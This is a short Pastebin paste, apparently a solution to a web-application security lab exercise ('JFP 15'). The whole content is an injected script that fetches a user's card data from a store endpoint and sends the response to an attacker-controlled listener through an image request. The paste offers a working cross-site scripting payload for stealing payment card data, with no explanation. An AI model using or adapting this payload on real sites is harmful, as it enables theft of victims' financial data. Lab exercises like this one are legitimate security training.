n0va_sa

JFP 15 Solution [pop cc and postl]

Sep 22nd, 2017
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <script>
  2. (function(){var url = 'http://user.com/lab/webapp/jfp/15/cardstore?user=john';
  3. var xhttp = new XMLHttpRequest();
  4. xhttp.onreadystatechange = function() {
  5. if (this.readyState == 4 && this.status == 200) {
  6. var data = xhttp.responseText;
  7. new Image().src = "http://localhost:8000/?card="+data}};
  8. xhttp.open("POST", url, true);
  9. xhttp.send();})();
  10. </script>
Add Comment
Please, Sign In to add comment